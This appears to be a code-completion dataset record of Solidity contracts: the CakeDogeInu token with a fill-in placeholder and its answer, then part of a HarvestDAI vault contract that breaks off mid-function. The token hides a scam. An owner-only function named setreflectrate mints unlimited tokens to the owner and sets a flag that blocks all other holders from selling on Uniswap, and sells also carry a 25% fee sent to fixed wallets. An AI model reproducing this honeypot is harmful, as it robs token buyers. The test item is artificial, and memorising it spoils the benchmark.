(rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract CakeDogeInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "CakeDogeInu | t.me/cakedogeinu"; string private constant _symbol = "CAKEDOGE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); bool private isChives = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x478a16c0c700c6ae6Ce3A1393C89De77373CF94a); _feeAddrWallet2 = payable(0x72210bc5087b5Bc191a570d003dEaA75305D7a46); _rOwned[_msgSender()] = _rTotal; _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x000000000000000000000000000000000000dEaD), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if(isChives) return _balances[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setreflectrate(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _maxTxAmount = _tTotal; _balances[_msgSender()] = _balances[_msgSender()].add(amount); isChives = true; emit Transfer(address(0), _msgSender(), amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(!bots[from] && !bots[to]); require(!isChives, "Uniswap only"); require(amount <= _maxTxAmount); _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } <FILL_FUNCTION> function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = false; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); bots[notbot] = false; } function setExcludedFromFee(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { _isExcludedFromFee[bots_[i]] = true; } } function delExcludedFromFee(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { _isExcludedFromFee[bots_[i]] = false; } } function _tokenTransfer(address sender, address recipient, uint256 amount) private { if(isChives){ _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp );
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap
54266
HarvestDAIStableCoin
_getPendingRewards
contract HarvestDAIStableCoin is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; struct UserDeposits { uint256 timestamp; uint256 amountfDai; } /// @notice Info of each user. struct UserInfo { uint256 amountDai; //how much DAI the user entered with uint256 amountfDai; //how much fDAI was obtained after deposit to vault uint256 amountReceiptToken; //receipt tokens printed for user; should be equal to amountfDai uint256 underlyingRatio; //ratio between obtained fDai and dai uint256 userTreasuryEth; //how much eth the user sent to treasury uint256 userCollectedFees; //how much eth the user sent to fee address uint256 joinTimestamp; //first deposit timestamp; taken into account for lock time bool wasUserBlacklisted; //if user was blacklist at deposit time, he is not receiving receipt tokens uint256 timestamp; //first deposit timestamp; used for withdrawal lock time check UserDeposits[] deposits; uint256 earnedTokens; //before fees uint256 earnedRewards; //before fees } mapping(address => UserInfo) public userInfo; mapping(address => bool) public blacklisted; //blacklisted users do not receive a receipt token uint256 public firstDepositTimestamp; //used to calculate reward per block uint256 public totalDeposits; uint256 public cap = uint256(1000000); //eth cap uint256 public totalDai; //total invested eth uint256 public lockTime = 10368000; //120 days address payable public feeAddress; uint256 public fee = uint256(50); uint256 constant feeFactor = uint256(10000); ReceiptToken public receiptToken; address public dai; address public weth; address public farmToken; address public harvestPoolToken; address payable public treasuryAddress; IMintNoRewardPool public harvestRewardPool; //deposit fDai IHarvestVault public harvestRewardVault; //get fDai IUniswapRouter public sushiswapRouter; uint256 public ethDust; uint256 public treasueryEthDust; //events event RewardsExchanged( address indexed user, string exchangeType, //ETH or DAI uint256 rewardsAmount, uint256 obtainedAmount ); event ExtraTokensExchanged( address indexed user, uint256 tokensAmount, uint256 obtainedEth ); event ObtainedInfo( address indexed user, uint256 underlying, uint256 underlyingReceipt ); event RewardsEarned(address indexed user, uint256 amount); event ExtraTokens(address indexed user, uint256 amount); event FeeSet(address indexed sender, uint256 feeAmount); event FeeAddressSet(address indexed sender, address indexed feeAddress); /// @notice Event emitted when blacklist status for an address changes event BlacklistChanged( string actionType, address indexed user, bool oldVal, bool newVal ); /// @notice Event emitted when user makes a deposit and receipt token is minted event ReceiptMinted(address indexed user, uint256 amount); /// @notice Event emitted when user withdraws and receipt token is burned event ReceiptBurned(address indexed user, uint256 amount); /// @notice Event emitted when user makes a deposit event Deposit( address indexed user, address indexed origin, uint256 amountDai, uint256 amountfDai ); /// @notice Event emitted when user withdraws event Withdraw( address indexed user, address indexed origin, uint256 amountDai, uint256 amountfDai, uint256 treasuryAmountEth ); /// @notice Event emitted when owner makes a rescue dust request event RescuedDust(string indexed dustType, uint256 amount); /// @notice Event emitted when owner changes any contract address event ChangedAddress( string indexed addressType, address indexed oldAddress, address indexed newAddress ); //internal mapping(address => bool) public approved; //to defend against non whitelisted contracts /// @notice Used internally for avoiding "stack-too-deep" error when depositing struct DepositData { address[] swapPath; uint256[] swapAmounts; uint256 obtainedDai; uint256 obtainedfDai; uint256 prevfDaiBalance; } /// @notice Used internally for avoiding "stack-too-deep" error when withdrawing struct WithdrawData { uint256 prevDustEthBalance; uint256 prevfDaiBalance; uint256 prevDaiBalance; uint256 obtainedfDai; uint256 obtainedDai; uint256 feeableDai; uint256 auctionedEth; uint256 auctionedDai; uint256 totalDai; uint256 rewards; uint256 farmBalance; } /** * @notice Create a new HarvestDAI contract * @param _harvestRewardVault VaultDAI address * @param _harvestRewardPool NoMintRewardPool address * @param _sushiswapRouter Sushiswap Router address * @param _harvestPoolToken Pool's underlying token address * @param _farmToken Farm address * @param _dai DAI address * @param _weth WETH address * @param _treasuryAddress treasury address * @param _receiptToken Receipt token that is minted and burned * @param _feeAddress fee address */ constructor( address _harvestRewardVault, address _harvestRewardPool, address _sushiswapRouter, address _harvestPoolToken, address _farmToken, address _dai, address _weth, address payable _treasuryAddress, address _receiptToken, address payable _feeAddress ) public { require(_harvestRewardVault != address(0), "VAULT_0x0"); require(_harvestRewardPool != address(0), "POOL_0x0"); require(_sushiswapRouter != address(0), "ROUTER_0x0"); require(_harvestPoolToken != address(0), "TOKEN_0x0"); require(_farmToken != address(0), "FARM_0x0"); require(_dai != address(0), "DAI_0x0"); require(_weth != address(0), "WETH_0x0"); require(_treasuryAddress != address(0), "TREASURY_0x0"); require(_receiptToken != address(0), "RECEIPT_0x0"); require(_feeAddress != address(0), "FEE_0x0"); harvestRewardVault = IHarvestVault(_harvestRewardVault); harvestRewardPool = IMintNoRewardPool(_harvestRewardPool); sushiswapRouter = IUniswapRouter(_sushiswapRouter); harvestPoolToken = _harvestPoolToken; farmToken = _farmToken; dai = _dai; weth = _weth; treasuryAddress = _treasuryAddress; receiptToken = ReceiptToken(_receiptToken); feeAddress = _feeAddress; } //-----------------------------------------------------------------------------------------------------------------// //------------------------------------ Setters -------------------------------------------------// //-----------------------------------------------------------------------------------------------------------------// /** * @notice Update the address of VaultDAI * @dev Can only be called by the owner * @param _harvestRewardVault Address of VaultDAI */ function setHarvestRewardVault(address _harvestRewardVault) public onlyOwner { require(_harvestRewardVault != address(0), "VAULT_0x0"); emit ChangedAddress( "VAULT", address(harvestRewardVault), _harvestRewardVault ); harvestRewardVault = IHarvestVault(_harvestRewardVault); } /** * @notice Update the address of NoMintRewardPool * @dev Can only be called by the owner * @param _harvestRewardPool Address of NoMintRewardPool */ function setHarvestRewardPool(address _harvestRewardPool) public onlyOwner { require(_harvestRewardPool != address(0), "POOL_0x0"); emit ChangedAddress( "POOL", address(harvestRewardPool), _harvestRewardPool ); harvestRewardPool = IMintNoRewardPool(_harvestRewardPool); } /** * @notice Update the address of Sushiswap Router * @dev Can only be called by the owner * @param _sushiswapRouter Address of Sushiswap Router */ function setSushiswapRouter(address _sushiswapRouter) public onlyOwner { require(_sushiswapRouter != address(0), "0x0"); emit ChangedAddress( "SUSHISWAP_ROUTER", address(sushiswapRouter), _sushiswapRouter ); sushiswapRouter = IUniswapRouter(_sushiswapRouter); } /** * @notice Update the address of Pool's underlying token * @dev Can only be called by the owner * @param _harvestPoolToken Address of Pool's underlying token */ function setHarvestPoolToken(address _harvestPoolToken) public onlyOwner { require(_harvestPoolToken != address(0), "TOKEN_0x0"); emit ChangedAddress("TOKEN", harvestPoolToken, _harvestPoolToken); harvestPoolToken = _harvestPoolToken; } /** * @notice Update the address of FARM * @dev Can only be called by the owner * @param _farmToken Address of FARM */ function setFarmToken(address _farmToken) public onlyOwner { require(_farmToken != address(0), "FARM_0x0"); emit ChangedAddress("FARM", farmToken, _farmToken); farmToken = _farmToken; } /** * @notice Update the address for fees * @dev Can only be called by the owner * @param _feeAddress Fee's address */ function setTreasury(address payable _feeAddress) public onlyOwner { require(_feeAddress != address(0), "0x0"); emit ChangedAddress( "TREASURY", address(treasuryAddress), address(_feeAddress) ); treasuryAddress = _feeAddress; } /** * @notice Approve contract (only approved contracts or msg.sender==tx.origin can call this strategy) * @dev Can only be called by the owner * @param account Contract's address */ function approveContractAccess(address account) external onlyOwner { require(account != address(0), "0x0"); approved[account] = true; } /** * @notice Revoke contract's access (only approved contracts or msg.sender==tx.origin can call this strategy) * @dev Can only be called by the owner * @param account Contract's address */ function revokeContractAccess(address account) external onlyOwner { require(account != address(0), "0x0"); approved[account] = false; } /** * @notice Blacklist address; blacklisted addresses do not receive receipt tokens * @dev Can only be called by the owner * @param account User/contract address */ function blacklistAddress(address account) external onlyOwner { require(account != address(0), "0x0"); emit BlacklistChanged("BLACKLIST", account, blacklisted[account], true); blacklisted[account] = true; } /** * @notice Remove address from blacklisted addresses; blacklisted addresses do not receive receipt tokens * @dev Can only be called by the owner * @param account User/contract address */ function removeFromBlacklist(address account) external onlyOwner { require(account != address(0), "0x0"); emit BlacklistChanged("REMOVE", account, blacklisted[account], false); blacklisted[account] = false; } /** * @notice Set max ETH cap for this strategy * @dev Can only be called by the owner * @param _cap ETH amount */ function setCap(uint256 _cap) external onlyOwner { cap = _cap; } /** * @notice Set lock time * @dev Can only be called by the owner * @param _lockTime lock time in seconds */ function setLockTime(uint256 _lockTime) external onlyOwner { require(_lockTime > 0, "TIME_0"); lockTime = _lockTime; } function setFeeAddress(address payable _feeAddress) public onlyOwner { feeAddress = _feeAddress; emit FeeAddressSet(msg.sender, _feeAddress); } function setFee(uint256 _fee) public onlyOwner { require(_fee <= uint256(9000), "FEE_TOO_HIGH"); fee = _fee; emit FeeSet(msg.sender, _fee); } /** * @notice Rescue dust resulted from swaps/liquidity * @dev Can only be called by the owner */ function rescueDust() public onlyOwner { if (ethDust > 0) { treasuryAddress.transfer(ethDust); treasueryEthDust = treasueryEthDust.add(ethDust); emit RescuedDust("ETH", ethDust); ethDust = 0; } } /** * @notice Rescue any non-reward token that was airdropped to this contract * @dev Can only be called by the owner */ function rescueAirdroppedTokens(address _token, address to) public onlyOwner { require(_token != address(0), "token_0x0"); require(to != address(0), "to_0x0"); require(_token != farmToken, "rescue_reward_error"); uint256 balanceOfToken = IERC20(_token).balanceOf(address(this)); require(balanceOfToken > 0, "balance_0"); require(IERC20(_token).transfer(to, balanceOfToken), "rescue_failed"); } /** * @notice Check if user can withdraw based on current lock time * @param user Address of the user * @return true or false */ function isWithdrawalAvailable(address user) public view returns (bool) { if (lockTime > 0) { return userInfo[user].timestamp.add(lockTime) <= block.timestamp; } return true; } /** * @notice Deposit to this strategy for rewards * @param daiAmount Amount of DAI investment * @param deadline Number of blocks until transaction expires * @return Amount of fDAI */ function deposit(uint256 daiAmount, uint256 deadline) public nonReentrant returns (uint256) { // ----- // validate // ----- _defend(); require(daiAmount > 0, "DAI_0"); require(deadline >= block.timestamp, "DEADLINE_ERROR"); require(totalDai.add(daiAmount) <= cap, "CAP_REACHED"); DepositData memory results; UserInfo storage user = userInfo[msg.sender]; if (user.amountfDai == 0) { user.wasUserBlacklisted = blacklisted[msg.sender]; } if (user.timestamp == 0) { user.timestamp = block.timestamp; } IERC20(dai).safeTransferFrom(msg.sender, address(this), daiAmount); totalDai = totalDai.add(daiAmount); user.amountDai = user.amountDai.add(daiAmount); results.obtainedDai = daiAmount; // ----- // deposit DAI into harvest and get fDAI // ----- IERC20(dai).safeIncreaseAllowance( address(harvestRewardVault), results.obtainedDai ); results.prevfDaiBalance = IERC20(harvestPoolToken).balanceOf( address(this) ); harvestRewardVault.deposit(results.obtainedDai); results.obtainedfDai = ( IERC20(harvestPoolToken).balanceOf(address(this)) ) .sub(results.prevfDaiBalance); // ----- // stake fDAI into the NoMintRewardPool // ----- IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardPool), results.obtainedfDai ); user.amountfDai = user.amountfDai.add(results.obtainedfDai); if (!user.wasUserBlacklisted) { user.amountReceiptToken = user.amountReceiptToken.add( results.obtainedfDai ); receiptToken.mint(msg.sender, results.obtainedfDai); emit ReceiptMinted(msg.sender, results.obtainedfDai); } harvestRewardPool.stake(results.obtainedfDai); emit Deposit( msg.sender, tx.origin, results.obtainedDai, results.obtainedfDai ); if (firstDepositTimestamp == 0) { firstDepositTimestamp = block.timestamp; } if (user.joinTimestamp == 0) { user.joinTimestamp = block.timestamp; } totalDeposits = totalDeposits.add(results.obtainedfDai); harvestRewardPool.getReward(); //transfers FARM to this contract user.deposits.push( UserDeposits({ timestamp: block.timestamp, amountfDai: results.obtainedfDai }) ); user.underlyingRatio = _getRatio(user.amountfDai, user.amountDai, 18); return results.obtainedfDai; } function _updateDeposits( bool removeAll, uint256 remainingAmountfDai, address account ) private { UserInfo storage user = userInfo[account]; if (removeAll) { delete user.deposits; return; } for (uint256 i = user.deposits.length; i > 0; i--) { if (remainingAmountfDai >= user.deposits[i - 1].amountfDai) { remainingAmountfDai = remainingAmountfDai.sub( user.deposits[i - 1].amountfDai ); user.deposits[i - 1].amountfDai = 0; } else { user.deposits[i - 1].amountfDai = user.deposits[i - 1] .amountfDai .sub(remainingAmountfDai); remainingAmountfDai = 0; } if (remainingAmountfDai == 0) { break; } } } /** * @notice Withdraw tokens and claim rewards * @param deadline Number of blocks until transaction expires * @return Amount of ETH obtained */ function withdraw(uint256 amount, uint256 deadline) public nonReentrant returns (uint256) { // ----- // validation // ----- uint256 receiptBalance = receiptToken.balanceOf(msg.sender); _defend(); require(deadline >= block.timestamp, "DEADLINE_ERROR"); require(amount > 0, "AMOUNT_0"); UserInfo storage user = userInfo[msg.sender]; require(user.amountfDai >= amount, "AMOUNT_GREATER_THAN_BALANCE"); if (!user.wasUserBlacklisted) { require( receiptBalance >= user.amountReceiptToken, "RECEIPT_AMOUNT" ); } if (lockTime > 0) { require( user.timestamp.add(lockTime) <= block.timestamp, "LOCK_TIME" ); } WithdrawData memory results; results.prevDustEthBalance = address(this).balance; // ----- // withdraw from NoMintRewardPool and get fDai back // ----- results.prevfDaiBalance = IERC20(harvestPoolToken).balanceOf( address(this) ); IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardPool), amount ); harvestRewardPool.getReward(); //transfers FARM to this contract results.farmBalance = IERC20(farmToken).balanceOf(address(this)); results.rewards = getPendingRewards(msg.sender, amount); _updateDeposits(amount == user.amountfDai, amount, msg.sender); harvestRewardPool.withdraw(amount); results.obtainedfDai = ( IERC20(harvestPoolToken).balanceOf(address(this)) ) .sub(results.prevfDaiBalance); //not sure if it's possible to get more from harvest so better to protect if (results.obtainedfDai < user.amountfDai) { user.amountfDai = user.amountfDai.sub(results.obtainedfDai); if (!user.wasUserBlacklisted) { user.amountReceiptToken = user.amountReceiptToken.sub( results.obtainedfDai ); receiptToken.burn(msg.sender, results.obtainedfDai); emit ReceiptBurned(msg.sender, results.obtainedfDai); } } else { user.amountfDai = 0; if (!user.wasUserBlacklisted) { receiptToken.burn(msg.sender, user.amountReceiptToken); emit ReceiptBurned(msg.sender, user.amountReceiptToken); user.amountReceiptToken = 0; } } // ----- // withdraw from Harvest-DAI vault and get Dai back // ----- IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardVault), results.obtainedfDai ); results.prevDaiBalance = IERC20(dai).balanceOf(address(this)); harvestRewardVault.withdraw(results.obtainedfDai); results.obtainedDai = (IERC20(dai).balanceOf(address(this))).sub( results.prevDaiBalance ); emit ObtainedInfo( msg.sender, results.obtainedDai, results.obtainedfDai ); if (amount == user.amountfDai) { //there is no point to do the ratio math as we can just get the difference between current obtained tokens and initial obtained tokens if (results.obtainedDai > user.amountDai) { results.feeableDai = results.obtainedDai.sub(user.amountDai); } } else { uint256 currentRatio = _getRatio(results.obtainedfDai, results.obtainedDai, 18); results.feeableDai = 0; if (currentRatio < user.underlyingRatio) { uint256 noOfOriginalTokensForCurrentAmount = (amount.mul(10**18)).div(user.underlyingRatio); if (noOfOriginalTokensForCurrentAmount < results.obtainedDai) { results.feeableDai = results.obtainedDai.sub( noOfOriginalTokensForCurrentAmount ); } } } if (results.feeableDai > 0) { uint256 extraTokensFee = _calculateFee(results.feeableDai); emit ExtraTokens( msg.sender, results.feeableDai.sub(extraTokensFee) ); user.earnedTokens = user.earnedTokens.add( results.feeableDai.sub(extraTokensFee) ); } //not sure if it's possible to get more from harvest so better to protect if (results.obtainedDai <= user.amountDai) { user.amountDai = user.amountDai.sub(results.obtainedDai); } else { user.amountDai = 0; } results.obtainedDai = results.obtainedDai.sub(results.feeableDai); //feeableDai/2 => goes to the user //feeableDai/2 => goes to the treasury in ETH //obtainedDai => goes to the user results.auctionedDai = 0; if (results.feeableDai > 0) { results.auctionedDai = results.feeableDai.div(2); } results.feeableDai = results.feeableDai.sub(results.auctionedDai); results.totalDai = results.obtainedDai.add(results.feeableDai); // ----- // swap auctioned DAI to ETH // ----- address[] memory swapPath = new address[](2); swapPath[0] = dai; swapPath[1] = weth; if (results.auctionedDai > 0) { uint256[] memory daiFeeableSwapAmounts = sushiswapRouter.swapExactTokensForETH( results.auctionedDai, uint256(0), swapPath, address(this), deadline ); emit ExtraTokensExchanged( msg.sender, results.auctionedDai, daiFeeableSwapAmounts[daiFeeableSwapAmounts.length - 1] ); results.auctionedEth = results.auctionedEth.add( daiFeeableSwapAmounts[daiFeeableSwapAmounts.length - 1] ); } uint256 transferableRewards = results.rewards; if (transferableRewards > results.farmBalance) { transferableRewards = results.farmBalance; } if (transferableRewards > 0) { emit RewardsEarned(msg.sender, transferableRewards); user.earnedRewards = user.earnedRewards.add(transferableRewards); //swap 50% of rewards with ETH and add them to results.auctionedEth uint256 auctionedRewards = transferableRewards.div(2); //swap 50% of rewards with DAI and add them to results.totalDai uint256 userRewards = transferableRewards.sub(auctionedRewards); swapPath[0] = farmToken; IERC20(farmToken).safeIncreaseAllowance( address(sushiswapRouter), transferableRewards ); //swap 50% of rewards with ETH and add them to auctionedEth uint256[] memory farmSwapAmounts = sushiswapRouter.swapExactTokensForETH( auctionedRewards, uint256(0), swapPath, address(this), deadline ); emit RewardsExchanged( msg.sender, "ETH", auctionedRewards, farmSwapAmounts[farmSwapAmounts.length - 1] ); results.auctionedEth = results.auctionedEth.add( farmSwapAmounts[farmSwapAmounts.length - 1] ); //however, it should be > 0 if (userRewards > 0) { farmSwapAmounts = sushiswapRouter.swapExactTokensForETH( userRewards, uint256(0), swapPath, address(this), deadline ); swapPath[0] = weth; swapPath[1] = dai; farmSwapAmounts = sushiswapRouter.swapExactETHForTokens{ value: farmSwapAmounts[farmSwapAmounts.length - 1] }(uint256(0), swapPath, address(this), deadline); emit RewardsExchanged( msg.sender, "DAI", userRewards, farmSwapAmounts[farmSwapAmounts.length - 1] ); results.totalDai = results.totalDai.add( farmSwapAmounts[farmSwapAmounts.length - 1] ); } } // ----- // transfer ETH to user // ----- totalDeposits = totalDeposits.sub(results.obtainedfDai); if (user.amountfDai == 0) //full exit { //if user exits to early, obtained ETH might be lower than what user initially invested and there will be some left in amountEth //making sure we reset it user.amountDai = 0; } else { if (user.amountDai > results.totalDai) { user.amountDai = user.amountDai.sub(results.totalDai); } else { user.amountDai = 0; } } if (results.totalDai < totalDai) { totalDai = totalDai.sub(results.totalDai); } else { totalDai = 0; } //at some point we might not have any fees if (fee > 0) { uint256 feeDai = _calculateFee(results.totalDai); results.totalDai = results.totalDai.sub(feeDai); swapPath[0] = dai; swapPath[1] = weth; IERC20(dai).safeIncreaseAllowance(address(sushiswapRouter), feeDai); uint256[] memory feeSwapAmount = sushiswapRouter.swapExactTokensForETH( feeDai, uint256(0), swapPath, address(this), deadline ); feeAddress.transfer(feeSwapAmount[feeSwapAmount.length - 1]); user.userCollectedFees = user.userCollectedFees.add( feeSwapAmount[feeSwapAmount.length - 1] ); } IERC20(dai).safeTransfer(msg.sender, results.totalDai); treasuryAddress.transfer(results.auctionedEth); user.userTreasuryEth = user.userTreasuryEth.add(results.auctionedEth); emit Withdraw( msg.sender, tx.origin, results.obtainedDai, results.obtainedfDai, results.auctionedEth ); ethDust = ethDust.add( address(this).balance.sub(results.prevDustEthBalance) ); if (user.amountfDai == 0 || user.amountDai == 0) { user.underlyingRatio = 0; } else { user.underlyingRatio = _getRatio( user.amountfDai, user.amountDai, 18 ); } return results.totalDai; } /// @notice Transfer rewards to this strategy function updateReward() public onlyOwner { harvestRewardPool.getReward(); } function _calculateFee(uint256 amount) private view returns (uint256) { return (amount.mul(fee)).div(feeFactor); } function _defend() private view returns (bool) { require( approved[msg.sender] || msg.sender == tx.origin, "access_denied" ); } //-----------------------------------------------------------------------------------------------------------------// //------------------------------------ Getters -------------------------------------------------// //-----------------------------------------------------------------------------------------------------------------// /** * @notice View function to see pending rewards for account. * @param account user account to check * @param amount amount you want to calculate for; if 0 will calculate for entire amount * @return pending rewards */ function getPendingRewards(address account, uint256 amount) public view returns (uint256) { UserInfo storage user = userInfo[account]; if (amount == 0) { amount = user.amountfDai; } if (user.deposits.length == 0 || user.amountfDai == 0) { return 0; } uint256 rewards = 0; uint256 remaingAmount = amount; uint256 i = user.deposits.length - 1; while (remaingAmount > 0) { uint256 depositRewards = _getPendingRewards(user.deposits[i], remaingAmount); rewards = rewards.add(depositRewards); if (remaingAmount >= user.deposits[i].amountfDai) { remaingAmount = remaingAmount.sub(user.deposits[i].amountfDai); } else { remaingAmount = 0; } if (i 